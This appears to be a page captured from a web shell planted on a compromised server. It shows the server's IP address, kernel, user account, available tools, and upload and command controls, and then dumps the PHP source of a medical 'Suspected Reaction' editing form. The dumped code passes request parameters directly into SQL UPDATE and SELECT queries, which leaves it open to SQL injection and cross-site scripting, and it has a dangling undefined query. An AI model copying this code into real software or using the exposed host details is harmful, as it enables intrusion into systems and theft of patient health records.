Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.143.247.53
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//edit_Suspected_Reaction.php
<?php session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'header.php';
include 'dashboarddocument.php';

  $Suspected_Reaction ="SELECT * FROM `Suspected_Reaction` WHERE id='$_GET[id]'";
$qSuspected_Reaction = mysqli_query($con,$Suspected_Reaction);
$rsp=mysqli_fetch_array($qSuspected_Reaction);
if($rsp['Classification_Incidence']== 'Adverse_Event'){
	     $Suspected_Reaction='Adverse Event';
	 }
	  if($rsp['Minor']== 'on'){
	     $status='Minor';
	     $Reaction=$rsp['Minor_Reaction'];
	 }
	  if($rsp['Major']== 'on'){
	     $status='Major';
	    $Reaction =$rsp['Major_Reaction'];
	 }
	 
	 
//Code for Registration 
if(isset($_POST['Suspected_Reaction'])) 
{ 
    	$updated_at=date("F d, Y / h:i:s A");
$sql ="UPDATE `Suspected_Reaction` SET `Classification_Incidence`='Adverse_Event',`Minor`='$status',`Major`='$status',`Minor_Reaction`='$Reaction',`Major_Reaction`='$Reaction',`Containerno`='$_POST[Containerno]',`Specify`='$_POST[Specify]',`otherAnswer`='$_POST[otherAnswer]',`otherAnswer_date`='$_POST[otherAnswer_date]',`Name_Medicine`='$_POST[Name_Medicine]',`Treatment_Given`='$_POST[Treatment_Given]',`Outcome`='$_POST[Outcome]',`Corrective_action`='$_POST[Corrective_action]',`Recovery_time`='$_POST[Recovery_time]'  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND id='$_GET[id]'";

if($qsql = mysqli_query($con,$sql))
		{
		    if($qsql = mysqli_query($con,$sql1))
		    {
    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
  }else {
    echo "Sorry, there was an error uploading your file.";
  } 
   
  
}

?>


<style>
.switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}


.center {
   border: 1px solid grey;
   text-align:;
}

  
    .box2{
              display: none;
    
    }
            
       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}
  </style>
   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
  </script>
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
         z-index:10000000;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
  <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>
<form name="signup"  enctype="multipart/form-data" id='myForm' method="post" >
<h3 align='center'>Suspected Reaction</h3>
<table id='example2' class='table table-bordered table-hover'>
  
    <tr><td width='50%'> Date & Time</td><td width='50%'> 
    <input  type="text" name="created_at" value="<?php echo $rsp['created_at'] ?>"></td></tr>


           
           <tr><td width='50%'> Classification  Incidence</td><td width='50%'>
                <input  type="text" name="Suspected_Reaction" value="<?php echo $Suspected_Reaction ?>"></td></tr>
           
           <tr><td width='50%'> Seriousness of Reaction</td><td width='50%'>
                <input  type="text" name="Seriousness_of_Reaction" value="<?php echo $status ?>"></td></tr>
      
       <tr><td width='50%'> Reaction</td><td width='50%'>
                <input  type="text" name="Reaction" value="<?php echo $Reaction ?>"></td></tr>
           
           <tr><td width='50%'> Container No</td><td width='50%'>
                <input  type="text" name="Containerno" value="<?php echo $rsp['Containerno'] ?>"></td></tr>
     
      <tr><td width='50%'> Specify</td><td width='50%'>
                <input  type="text" name="Specify" value="<?php echo $rsp['Specify'] ?>"></td></tr>
           
           <tr><td width='50%'> Other Answer</td><td width='50%'>
                <input  type="text" name="otherAnswer" value="<?php echo $rsp['otherAnswer'] ?>"></td></tr>
     
      <tr><td width='50%'> Other Answer Date</td><td width='50%'>
                <input  type="text" name="otherAnswer_date" value="<?php echo $rsp['otherAnswer_date'] ?>"></td></tr>
           
           <tr><td width='50%'> Name Medicine</td><td width='50%'>
                <input  type="text" name="Name_Medicine" value="<?php echo $rsp['Name_Medicine'] ?>"></td></tr>
     
      <tr><td width='50%'> Treatment Given</td><td width='50%'>
                <input  type="text" name="Treatment_Given" value="<?php echo $rsp['Treatment_Given'] ?>"></td></tr>
           
           <tr><td width='50%'> Outcome</td><td width='50%'>
               <select name='Outcome'>         <option value='' >Outcome</option>        <option value='Fatal'>Fatal</option> 
               <option value='Used' <?php echo ($rsp['Outcome']=='Used')?"selected":"" ?>>Used</option>    
               <option value='Recovering' <?php echo ($rsp['Outcome']=='Recovering')?"selected":"" ?>>Recovering</option>
               <option value='Unknown' <?php echo ($rsp['Outcome']=='Unknown')?"selected":"" ?>>Unknown</option> 
               <option value='Continuing' <?php echo ($rsp['Outcome']=='Continuing')?"selected":"" ?>> Continuing</option> 
               <option value='Recovered' <?php echo ($rsp['Outcome']=='Recovered')?"selected":"" ?>> Recovered </option>
               <option value='Other' <?php echo ($rsp['Outcome']=='Other')?"selected":"" ?>> Other</option>  
               </select>
               
               
                
     
      <tr><td width='50%'> Corrective Action</td><td width='50%'>
                <input  type="text" name="Corrective_action" value="<?php echo $rsp['Corrective_action'] ?>"></td></tr>
           
           <tr><td width='50%'> Recovery time</td><td width='50%'>
                <input  type="text" name="Recovery_time" value="<?php echo $rsp[Recovery_time] ?>"></td></tr>
     
     
     
           
          </table>
	<button type="submit" name="Suspected_Reaction"> <span style="color:WHITE">Update</SPAN></button>
				 
				 
				 </form>

Anon7 - 2022
AnonSec Team